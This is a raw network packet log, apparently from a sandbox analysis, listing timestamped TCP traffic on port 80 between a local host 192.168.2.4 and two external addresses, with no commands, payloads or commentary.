Aug 30, 2024 03:17:07.984494925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984502077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984508038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984513998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984541893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.984553099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.984774113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984812975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984818935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984839916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.984863043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.984956980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984962940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984968901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984973907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.984996080 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.985013962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987092018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987097979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987109900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987140894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987190962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987196922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987209082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987214088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987236023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987251043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987289906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987303972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987314939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987327099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987329960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987333059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987344980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987349987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987353086 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987356901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987365961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987390041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987390041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987396955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987402916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987426043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987488985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987494946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987505913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987510920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987517118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987521887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987528086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987533092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987544060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987561941 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987622023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987627029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987663031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.987750053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987756014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.987795115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.990669012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990736008 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990756035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990761042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990771055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990783930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990789890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990819931 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990819931 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990823984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990828991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990842104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990849018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990849972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.990881920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990881920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.990936041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991065979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991079092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991163015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991183043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991214991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991220951 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991283894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991292000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991350889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991358042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991363049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.991377115 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991411924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.991996050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992002010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992017984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992044926 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992044926 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992059946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992064953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992070913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992077112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992095947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992125034 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992130995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992136002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992146969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992151976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992161036 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992187023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992187023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992208004 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992208958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992213964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992283106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992289066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992295980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992300034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992305040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992311954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992322922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992327929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.992328882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992348909 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992358923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.992384911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.993937969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.993943930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.993949890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.993985891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.994019032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994025946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994062901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.994143963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994152069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994193077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.994268894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994275093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994290113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994294882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994301081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994317055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.994339943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.994375944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994381905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.994415998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.995177984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995182991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995193005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995229959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995258093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995264053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995270014 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995275974 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995307922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995307922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995436907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995445967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995455980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995460987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995466948 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995477915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995485067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995501041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995501041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995520115 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995527983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995532990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995538950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995543003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995548964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995554924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995559931 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995582104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995582104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995590925 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995727062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995733023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995738029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995743990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995763063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995768070 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995774984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995791912 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995800018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995814085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995819092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995824099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995825052 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995829105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995839119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995843887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995848894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.995863914 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995863914 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.995876074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996095896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996102095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996113062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996150017 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996182919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996187925 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996198893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996203899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996234894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996234894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996285915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996335983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996417999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996423006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996459007 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996515989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996521950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996532917 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996537924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996581078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996581078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996627092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996648073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996681929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996681929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996731997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996737003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996742964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996769905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996783972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996836901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996843100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996851921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996882915 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996882915 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996903896 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996927977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996933937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996944904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.996989965 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.996989965 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997057915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997065067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997080088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997095108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997097969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997129917 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997226000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997231007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997236013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997267962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.997276068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.997436047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997442007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997452974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997457981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997462988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.997478962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.997502089 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.997560978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997566938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997603893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997615099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997638941 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997667074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997730017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997735977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997741938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997776985 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997776985 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997786045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997791052 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997796059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997807026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997812986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997833014 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997833014 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997853041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.997870922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997878075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997889042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.997972965 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.998100996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998106003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998117924 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998147964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998148918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998156071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998157024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998162031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998167038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998188019 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998189926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998209000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998231888 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998331070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998337984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998343945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998353958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998361111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998366117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.998373985 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.998395920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036425114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036432028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036437035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036489010 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036528111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036534071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036540031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036545038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036572933 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036576986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036583900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036587000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036590099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036596060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036627054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036693096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036699057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036705017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036709070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.036731005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.036741972 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.061075926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061079979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061089993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061145067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061150074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061160088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061165094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061238050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061252117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061290979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061400890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061453104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061460018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061465979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061501026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061506987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061533928 CEST	49733	80	192.168.2.4	147.45.44.104
